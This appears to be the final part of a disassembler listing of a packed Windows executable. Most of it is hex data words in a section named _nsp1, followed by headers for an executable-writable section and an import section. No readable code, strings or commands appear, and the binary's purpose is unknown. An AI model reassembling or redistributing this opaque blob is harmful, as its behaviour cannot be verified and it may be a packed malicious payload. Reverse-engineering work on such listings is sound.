		dd 57931D13h, 0DFFE9C90h, 2A7F9E9Bh, 1461EC81h,	8ADEE46Bh
		dd 9B6E9351h, 0F886297Ah, 476B0F55h, 556BB99h, 0C52C01F0h
		dd 2D54717Ah, 3AEDC516h, 7608EA26h, 0A4924F17h,	0FC7B3142h
		dd 7AF70A50h, 0D108580Ch, 58BA0DAAh, 0BF47D7F9h, 0C58C71B5h
		dd 0E65CEBB6h, 74C37E9Bh, 979D927Ah, 6C758AA4h,	0E88BBDF4h
		dd 99E0DE8Dh, 8AEE8452h, 222ADA88h, 47EC43D9h, 0B4EAA715h
		dd 1D2AB75Ah, 7A6F95EEh, 6D955F9Eh, 0D201978Fh,	0DA291975h
		dd 0A52451Dh, 0A093B08Ah, 3C52629Fh, 25F3DE8Bh,	0D51C870Bh
		dd 3E06418Eh, 15B3CEC6h, 9C722C52h, 284697EAh, 241E5E8Dh
		dd 5738E584h, 0E00928BCh, 0E0E567C2h, 12D3F1F7h, 643674E5h
		dd 3704220Fh, 4545A0CEh, 34D69617h, 0ADE5037Fh,	0DF915D9h
		dd 7310067Bh, 0F8E76F3Dh, 0FAF8BFC8h, 654E64EBh, 65B796AAh
		dd 0D299FEF5h, 3A30A608h, 0BF0E78B4h, 448F5A29h, 0CA91C572h
		dd 36414E43h, 0FAE9C62h, 0E6E1F270h, 0EBC0AA6Ch, 0AAE4E2EAh
		dd 1B4BB668h, 97CAA800h, 9F766130h, 588B4778h, 52C80ACDh
		dd 0FC98736Bh, 3939CC82h, 7D128B0h, 0C7C9F1A5h,	8F4708DAh
		dd 0A9D465F7h, 3A187BC1h, 464EFF72h, 0A677D0C5h, 40A03EDDh
		dd 1F2FF8CAh, 0F8D3D013h, 77AB98B6h, 0D3641C09h, 0B62A0325h
		dd 0FF3F26E9h, 13705F87h, 9CD50922h, 96AF9830h,	22CE282Bh
		dd 8BE575CAh, 9D0650E0h, 515B8DDDh, 65C61079h, 30621DF6h
		dd 14D90EACh, 850C18C4h, 82EDA4B6h, 4A9C9AD5h, 9406B2C0h
		dd 22D3CB07h, 0F5002BBAh, 0CC06D03Ch, 16A8CC2Eh, 52DBB658h
		dd 0B90976B4h, 0A0EAFE59h, 0DA09769h, 0E6FC529Fh, 6B464B41h
		dd 3028DF96h, 0C8A4A2E5h, 696D65AFh, 9E9439ACh,	0A91D36B1h
		dd 0F70CD809h, 6B8A85C9h, 0C8C49C95h, 889B6B82h, 96C419BFh
		dd 0F26AA1E4h, 4D48DC95h, 0BDF95908h, 0B231E57Ch, 5B28B4F5h
		dd 84F2695Fh, 4A56FC51h, 5F0A65F5h, 9329271Fh, 0D671A407h
		dd 35F0A832h, 20EA3CECh, 781F3A43h, 7D3CF7B6h, 7BCDFD83h
		dd 527060AFh, 0F95451DBh, 5693BF3h, 831623FFh, 0F38932ACh
		dd 0F622CB75h, 8D2791E5h, 203C6E5Dh, 0F00230FBh, 28240839h
		dd 585F1D2Ch, 96D93E81h, 90F94DAEh, 127C3345h, 8D33B319h
		dd 4CDEB8F4h, 0DF94BD88h, 0FFC0B80Eh, 35148D9Dh, 6D1B4A0Ah
		dd 360BB3Dh, 19734C90h,	0EE05A1A4h, 2E6370B8h, 0AE6EDE4Fh
		dd 52E673A6h, 9DAD06CFh, 4C5B3262h, 0BB54F12Ch,	2FAA4E2Dh
		dd 0D1ABD77Fh, 0AD5C2687h, 6B121510h, 0BE888EE5h, 0D5D5BD45h
		dd 0ADD0D3DAh, 7D899B3Eh, 5460AA5Ah, 7A9AF2B1h,	0E1D9F75h
		dd 7089D722h, 0BC81D7A8h, 8ECEFE53h, 708FE247h,	7DE48E51h
		dd 1369B17Ah, 0B7F4271Ch, 141B29CAh, 4521D2CDh,	3DEBABF6h
		dd 334FE942h, 3E80427h,	9E1415D9h, 5CB6ED45h, 5080ADCDh
		dd 392C32BEh, 0E9BDA148h, 67D32A0Ah, 3B815ED0h,	0CBCA6B37h
		dd 620B2EFCh, 0B865FD99h, 44EBFC8Ah, 0BA8B17B1h, 919026A1h
		dd 36178F9Eh, 9E7CDDBFh, 1201696Ch, 0EC8AF1CCh,	0CF4B1F7Ah
		dd 0DF3BE732h, 38178EFh, 1B3E257Bh, 3E8B711h, 51016474h
		dd 7A01111Ch, 64A2F83Dh, 4B39EAD9h, 0A15A841Ch,	2B4FFCBFh
		dd 518292C5h, 0E35AA330h, 76157B74h, 3E67EE9Dh,	0EF2BC015h
		dd 0FC4F8CCh, 0D98D7C5Bh, 0B21572D6h, 0CAA24E71h, 0B35A60E4h
		dd 0A2504668h, 6B8AAE12h, 0DCDB0C1Ch, 1002EF9Fh, 5D729542h
		dd 0E9BB9227h, 3FFE27B4h
		dd 50E9270Eh, 0AC7CB868h, 0E94AD8ECh, 57B89A9h,	856FB221h
		dd 0E061EC3Ch, 0F52DB66Bh, 0F5BCD049h, 0B0ECB4B0h, 0F130B54Ah
		dd 604C447Bh, 0A9264FA0h, 79B68910h, 91963345h,	5CF54792h
		dd 1FCC9103h, 25EC052Fh, 0E36F8EBh, 80FCE9ECh, 11991C9Fh
		dd 6DA2C1Bh, 0D1E932C2h, 9B21B3B4h, 0A734DE9Eh,	5D9FA90Bh
		dd 0C86AFE70h, 0EDD2746Eh, 0BD81A453h, 7918A20Fh, 125E80B4h
		dd 0AB03F865h, 6C1F9959h, 8300620Ch, 0EFFF0728h, 8A6FBCDBh
		dd 5B3CB94h, 89744FD5h,	0E1A8223Dh, 35EE198Ah, 0A0E35ABFh
		dd 73716855h, 2FA37E4h,	85D525D5h, 130B0546h, 31A8ABEAh
		dd 0F30788D3h, 0D0E74865h, 2D79AE66h, 2A8B5F3h,	0F78A982Bh
		dd 913EE93h, 0E4FC0D55h, 0AB0EBEB2h, 33A79A0Fh,	5BCF0D77h
		dd 6AA9A7A6h, 28784FE2h, 0F365E4A8h, 2EC0E4CCh,	4C7916E3h
		dd 457A6DBAh, 0D7192133h, 5DE3E60Ah, 5095EE2Fh,	0D38A9C8Eh
		dd 3A575D5Dh, 0B9A4CF8Bh, 3D98FAD2h, 370A491Dh,	8DB4709Ah
		dd 0BE981B9Eh, 0C4781B22h, 128BD3CFh, 0DC8FDBCCh, 880AFCACh
		dd 0E06F3483h, 38A97C95h, 760C0C29h, 2E0859EDh,	0B64D9DB2h
		dd 6CAF518Eh, 6C551808h, 0F99EA872h, 734DBC90h,	0FE313D9Fh
		dd 42CBEF6Fh, 0F8D0204Bh, 3DEEEBFAh, 0FFF5AF64h, 8480A96Bh
		dd 3E4663Ah, 10A3612Fh,	3717CC5Ah, 76B3B14Bh, 0D90819B1h
		dd 883BA2A1h, 2A608C66h, 0F397F882h, 0F5C1B454h, 303AB7E1h
		dd 5EBF1F0Dh, 0D072106Ah, 462D447Eh, 91C97896h,	34E52433h
		dd 4BE370A7h, 64BF8B57h, 6F67F668h, 0BF7F1298h,	2BD3F68Eh
		dd 62F59C0Dh, 45B236CDh, 2CF5EC1h, 3A5279CFh, 0ADBB5E1Ah
		dd 64782A2Dh, 0EA7D04F0h, 643DD7F0h, 0E70F2D8Fh, 83A1B12Ah
		dd 0F83B633Ch, 202F6B63h, 30A4AA9Ch, 54443984h,	8DD239CCh
		dd 61409F34h, 0B70169FCh, 0F6EE7E20h, 0DA19E580h, 0CAFE4055h
		dd 0B411B41Ah, 938707B5h, 347C53F3h, 26633F48h,	84945A4Ah
		dd 7774E2A0h, 0BB7FC77Dh, 914F3F6Ch, 55F84716h,	0CEE60E12h
		dd 126586EAh, 0A474BCh,	3E33A86Dh, 8163EB39h, 0C05051B3h
		dd 49455158h, 0E37DA69Ah, 96FDF904h, 0B68FD5B5h, 1B296900h
		dd 64CFC973h, 0B313D73Eh, 5EE6EC70h, 0A6995638h, 6A9238B4h
		dd 2D3D1E92h, 839E4EFFh, 3FD5F662h, 0D9F3ED7h, 2F9E4FE6h
		dd 42683ABDh, 52651813h, 3C81CFF2h, 426DA0BCh, 898A2FA2h
		dd 0E3B70C44h, 3E3F81CCh, 8CFAC4C6h, 4966EE5h, 0ADA506EDh
		dd 205CA9FFh, 0EB39E1Ch, 8E52682Ah, 0F19C7A95h,	274204BEh
		dd 0B5A41F69h, 0AA849513h, 0D664A3A2h, 580C5B74h, 0F221C863h
		dd 6E486AE5h, 4E01DEECh, 2F09AF0Ah, 0A5C3A55Eh,	0D64917AFh
		dd 38B751C4h, 66F20CF6h, 0E7DB35C8h, 82F0BD74h,	38E99BC2h
		dd 6C8D40AFh, 9BB0D51Bh, 31F467CDh, 0DA3C14B3h,	0D5EF6E2Fh
		dd 0CFA02620h, 0BA9FAB28h, 0A1E77E80h, 6915402h, 8950DDF5h
		dd 71239BCAh, 62B53E8Ah, 9E409B49h, 0BF5628F2h,	6D316F8Dh
		dd 0DD9AD0DCh, 17DE7E23h, 0FBE7A6A9h, 2C144C67h, 7509F9BAh
		dd 9591C636h, 3B19A42Eh, 81E70375h, 9924E834h, 6CB918Eh
		dd 229A4C1Eh, 0FBEB49F5h, 0D4A168AAh, 376A102Ah, 0F21802Dh
		dd 0EBE65209h, 0FAFB0A14h, 0D4C51367h, 0FF8712FBh, 0C9D73832h
		dd 5358CF81h, 961C40D1h, 0FBC73C8Bh, 0EE4DF4E7h, 40C5A41Fh
		dd 0A7DF230Fh, 3CAE3B4Fh, 2B026E7Bh, 31262DB3h,	3D8B032Dh
		dd 0DF87586Bh, 0D80C8018h, 0A0A3E251h, 0D9955D2Ah, 42DE3414h
		dd 0AA21BA99h, 0D6743939h, 8F2F327Dh, 7621D31Ah, 8BA39CF4h
		dd 656A0668h, 0A529ED0Bh, 2B26478Ah, 0B2C1B9BCh, 4539C030h
		dd 0ECC6C4B8h, 6404AA19h, 0FA98D3FCh, 7D7AF964h, 0B5C12EB7h
		dd 3B0EBFFBh, 3B56A1D1h, 0C335D8A3h, 1E1D9606h,	0B780DC9Ah
		dd 0D0572FE2h, 27CEE9ABh, 0E3D75748h, 444018B0h, 0F7646C28h
		dd 0B1FB5EF2h, 33E3E17Bh, 704234A9h, 0D3C78E5Eh, 0DD6C3D49h
		dd 315E8A1Ah, 0B70FFCD6h, 66345EBFh, 7D1FF351h,	2C678EEEh
		dd 0EBBC0D84h, 0D4E03F48h, 972A31EBh, 19511930h, 6EC814Dh
		dd 454B2326h, 32FC7204h, 7D145040h, 791665C6h, 872D990Bh
		dd 0E353FF22h, 0E425209Ah, 1CE92584h, 0B82DC888h, 304C7133h
		dd 0C5F02047h, 7126217Eh, 3F58DDC4h, 6D8DC573h,	0F6B3AFAFh
		dd 7749B437h, 85B6C7F7h, 0F1D5DB5h, 7E831D86h, 0A81B844Eh
		dd 4F82F96Ah, 87A2C2AFh, 0C47E1149h, 7FE3D009h,	8962F97Eh
		dd 68753FA2h, 0FA7F9F34h, 8B75927Fh, 8066B8A4h,	0B43802BEh
		dd 5DE4531Fh, 505501C4h, 8939B1AFh, 0A6D2E61Ah,	0B315DBD2h
		dd 94DD94B4h, 285CE3DAh, 71178A19h, 0DC581E07h,	0BA08ECE4h
		dd 109E6864h, 0D56666B1h, 934821B7h, 2B823FE3h,	0F4FF82Fh
		dd 5D4A25A6h, 0FB61EC53h, 97911A5Ch, 0CE558695h, 0C98F14B8h
		dd 4ECDD93Fh, 63D820BEh, 829DE143h, 0C243F904h,	713E2D17h
		dd 0BBB6EC20h, 9271F560h, 5D0B5510h, 1464C6E9h,	3EC579FDh
		dd 1037C9ADh, 814EE936h, 0E5682150h, 86F3416Ch,	0E9D528E0h
		dd 0D82239A8h, 82622FFFh, 76E405F9h, 435863BFh,	22F48Ch
		dd 4D8ED0CBh, 4DA7FC84h, 0AFFD61DEh, 347CCCB6h,	58406A32h
		dd 922BE232h, 44D27890h, 5C5E17FEh, 55E8DC7Fh, 0A581F0FFh
		dd 0D9730902h, 652D9BAEh, 4CAB2409h, 87B87FD2h,	6833F99Bh
		dd 0E4FD9120h, 0E59DC538h, 0CFC34B6Ch, 6CF154E3h, 0F05315E1h
		dd 0D4C2B0AFh, 75535D1Bh, 0C998B071h, 0F5AC7C13h, 610E5A4Ch
		dd 8E12C9C5h, 0F82C33A0h, 49111B30h, 78536907h,	510F25F3h
		dd 5E7B8D98h, 670A60C0h, 0FA6B9880h, 0C5322CB2h, 0CB80A76Ch
		dd 0E126288Fh, 76563CD3h, 0C1118E79h, 0DE2BFF6Bh, 94F229ABh
		dd 3041B70Bh, 1C97A09Ch, 0C1E2A39Fh, 99721F50h,	395892C1h
		dd 9BED2C75h, 516A2FA4h, 686405E6h, 0DE4FD4F5h,	7342D569h
		dd 8A95434Ah, 0A7687FF1h, 0AA442463h, 170F03A4h, 0ACF7334Bh
		dd 0B7E56B9Ch, 836D0DA6h, 8F8280Eh, 6182FFAh, 8CF8852Fh
		dd 2BF8F39Ah, 547EE9B4h, 0ED44846h, 0D7866FFCh,	0D04A371Ch
		dd 88882C2Ah, 72E9ADCCh, 0B6B9CFCDh, 2ECD0A32h,	0F37C8D58h
		dd 78016108h, 48FDE9F5h, 9D65FB33h, 6D747633h, 29E54EC4h
		dd 44DAB830h, 0D38E61Ch, 0ACAC1930h, 0E1F326B6h, 0E94CB2B2h
		dd 7AE3DD10h, 0D43FB2A8h, 0A9174205h, 4B01E54Dh, 357E9250h
		dd 0CAA4909Ch, 15F76BF7h, 0AA741C0h, 5EA31F8Bh,	0B910F677h
		dd 1D1D6E4Ch, 0C0C4AC0Ch, 0EF66D430h, 9239647Fh, 4D815B59h
		dd 0ED146A35h, 3D73FA1Bh, 41E26809h, 0D9231D72h, 0F55A3FA4h
		dd 36B9FE29h, 0E5E8E7DBh, 0B31252AEh, 2D41DA8Dh, 96E79C14h
		dd 0CDF9E78h, 0CA51A86Ch, 0D8CB5DF4h, 6171BF6Ah, 0C817B91Fh
		dd 6CD6F6CFh, 0CCB5D155h, 2B792FFh, 1C72F86Eh, 2ED04147h
		dd 332A8A24h, 0A68535EFh, 2BF9E257h, 0A3787474h, 3063B990h
		dd 87CB5981h, 2BFF444h,	0BCA5D801h, 0D321EC6Ah,	82ECF8D6h
		dd 424B74Eh, 4C327117h,	3B3A59E0h, 0CFE05350h, 54C3F145h
		dd 7973775h, 1F680383h,	83F5DF16h, 19977504h, 0A37C9A51h
		dd 21917D2Ch, 51D18E03h, 0C2FB864Dh, 9CF25A6Bh,	650EA7ECh
		dd 2992DE6Ah, 0CC6077C2h, 91BB971Ch, 19DBF673h,	0F1FBE4E4h
		dd 0B9A7CB3Ch, 60FE34Eh, 681A8C0Dh, 0ADF1526Fh,	0A869E935h
		dd 0CFC2E96Fh, 8E842FDFh, 0F2C6A9EFh, 0EB84D492h, 0EC2F787Ah
		dd 0C8748E56h, 13B8EAC5h, 6900D295h, 7A2CC859h,	0B806BEB5h
		dd 0B733EFD1h, 83E9D9B8h
		dd 98EDB6FDh, 0EC884482h, 1D21EFE4h, 5CE75149h,	0C04D8FB9h
		dd 0ACAEC907h, 9D34D826h, 0DFB527D1h, 0BCE74DF9h, 4820FE09h
		dd 0BE21EA72h, 2B174790h, 9182BEFDh, 7E31C45Ah,	903DE780h
		dd 0B6EE0DA7h, 66D22D3Bh, 2BE7A2BFh, 0C477029Ah, 10B3F955h
		dd 1DA80F0Ah, 8BF42ED9h, 12BF7FAh, 93E55ABh, 0FBFDAB25h
		dd 0DE5D8D37h, 78E776E7h, 0DB952D3Ch, 44C593FDh, 9DB096C5h
		dd 256993E0h, 1B9ED048h, 1C1192F0h, 5ECC3EA5h, 5CC88734h
		dd 0D4F350C1h, 25C70105h, 0E98F4FFAh, 7F38E055h, 0DC9368A9h
		dd 83451D46h, 5FBF971Ah, 0AA3AEA3h, 2C9CD1FEh, 0EEAC61F4h
		dd 85ACA13Ch, 1FDA3C31h, 34E2A39Ah, 0A40E158h, 0DE3EFAEBh
		dd 0E9AB1480h, 14DA172Ah, 9A2140A6h, 0AC495373h, 26732B51h
		dd 3583DBAh, 72EB5BBDh,	5BC0F90Fh, 123592Bh, 0B15ABA43h
		dd 32280777h, 1D09F481h, 6AC1E6F7h, 8487353h, 6F833884h
		dd 1288F2A4h, 5D60F509h, 0B9C589Fh, 65667CACh, 215C23FCh
		dd 517BFD9Fh, 26CA0CA6h, 41A31E01h, 63EDEE34h, 73AB9EC8h
		dd 9CECF49Dh, 0B5DAF95Dh, 3D306BA8h, 0F2365333h, 0F6F621A8h
		dd 0D951454Ch, 0B8E50E05h, 0B256FA43h, 10B6E9E6h, 7313044Eh
		dd 319A856Ch, 0D68CFE26h, 64C8B682h, 0DC13791Fh, 885DC69Eh
		dd 0DFE9F360h, 33C27261h, 3395EBB7h, 0B3708250h, 7FD4CD8Eh
		dd 5D2C5C38h, 0DDBBD5Bh, 0DCC15774h, 1A7C3C15h,	97F26BBAh
		dd 81BD180h, 12A169A6h,	0F4410AA8h, 0FDF36B72h,	628D984Dh
		dd 0E7E6E43Dh, 96298418h, 21008902h, 3ADEDB44h,	405CF4DCh
		dd 23725349h, 89F3ECB8h, 54E60DF7h, 0CCF977A8h,	2D0C527Eh
		dd 0F5E00B34h, 9E687362h, 77AC4C26h, 95E11A7Fh,	0E0245225h
		dd 0BB2DFDDAh, 62A1B924h, 0A10D9890h, 0D864492Dh, 34F8C950h
		dd 0ED17038Dh, 0D31B15Dh, 0B85354C7h, 4657D14Dh, 7E50CA1Fh
		dd 83EEBF6Fh, 0A99E325Eh, 0B65E94CFh, 0F9A57DB3h, 483FDC40h
		dd 0F5868B1Eh, 0F93237E7h, 3E5DEEB0h, 0C2A52F04h, 0F0EC5865h
		dd 6B571E3Ah, 0CF67C458h, 0EBD0BC27h, 26CC27B7h, 0F21DB4E4h
		dd 0CD092116h, 0BD315384h, 32416658h, 0F30A4D6Bh, 0EEFEEE93h
		dd 78C85C4Ah, 0BD1E0466h, 9D8DA8D3h, 92A09E85h,	0F804BCC2h
		dd 5CB34B8Ah, 86D698EBh, 0FACB086Eh, 8AC6A0CFh,	1D3A7A45h
		dd 3A6F1A36h, 61318DA2h, 0DE5AEFB4h, 0A7D2AC9Ah, 80991440h
		dd 0AF1C97A4h, 676341EDh, 44861AC7h, 0E660BE36h, 28862355h
		dd 0F7C0C220h, 0E65DA68Dh, 0BF8D695Eh, 0A3E1E504h, 0D89D587Eh
		dd 4DAD9045h, 3F004BF6h, 6822BB93h, 0E81BE7CEh,	15954FEh
		dd 253105EBh, 0A2C38100h, 0B77FB5A0h, 2F6D42FEh, 29997B1Fh
		dd 64EE139Eh, 2DEF0D57h, 0CA4B4E49h, 71F36935h,	0CC899C11h
		dd 736847Fh, 0C545806Eh, 0EB8B3486h, 0EEF33FD7h, 8409A7C4h
		dd 0A08A7F6h, 91B40CF8h, 2B4522AFh, 0D169E583h,	0D400E18Fh
		dd 0FE6204Ch, 0E36843BEh, 0E9424B07h, 0B8650328h, 7225004Ch
		dd 8C2D7BD0h, 8E2416A6h, 75DB8469h, 0D0D7632h, 42660EEAh
		dd 21460DC3h, 51B54951h, 19F3D2E9h, 0E5161CA5h,	1A285944h
		dd 0E1945FAEh, 20879C5Fh, 0A9B3B660h, 8D70840Ah, 0E491CC50h
		dd 0AC7C8857h, 1FFE29C9h, 0CDF08398h, 0C409D6A1h, 3CA64D49h
		dd 0CDFB0291h, 847E0C4Dh, 0DFAF1027h, 0CADA8879h, 0DD25CB9Ah
		dd 5DE14A8Ch, 80DCC1E4h, 80E0730Fh, 8F2EA2ECh, 7BFC0800h
		dd 63F551E0h, 8FD6F409h, 4BC35910h, 65F8B07Fh, 229F34F8h
		dd 3A96AD4Ah, 0B5719F7Ah, 1C0490A3h, 31CF4BE9h,	627BAD14h
		dd 6855CB01h, 0A6E8056Ch, 382F8190h, 0C0D3EF24h, 4CE30A6Bh
		dd 202044C3h, 1228300Ah, 5ABFBBDh, 958FF95Fh, 635A9A46h
		dd 784832CBh, 174FEDCDh, 1B33606Ah, 0B016088Fh,	3D5C11C2h
		dd 2E15E84Eh, 496AFD2Dh, 0B985DFF0h, 0C39037Eh,	0D1BB0035h
		dd 32BCECBBh, 920A9729h, 87A28D66h, 801BBF9Fh, 0C5B1EE58h
		dd 0DF35420Dh, 73B30944h, 7EAE8B65h, 1CEE675Bh,	7E91F70Dh
		dd 0C6C7C508h, 0E2E10B63h, 10555B77h, 0BC5AB47Dh, 31h
		dd 247h	dup(0)
_nsp1		ends

; Section 3. (virtual address 00088000)
; Virtual size			: 00000A3B (   2619.)
; Section size in file		: 00000A3B (   2619.)
; Offset to raw	data for section: 00088000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp2		segment	para public 'CODE' use32
		assume cs:_nsp2
		;org 488000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 28Eh	dup(0)
		db 3 dup(0)
_nsp2		ends

; Section 4. (virtual address 00089000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00088C00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 489000h
		align 2000h
_idata2		ends


		end start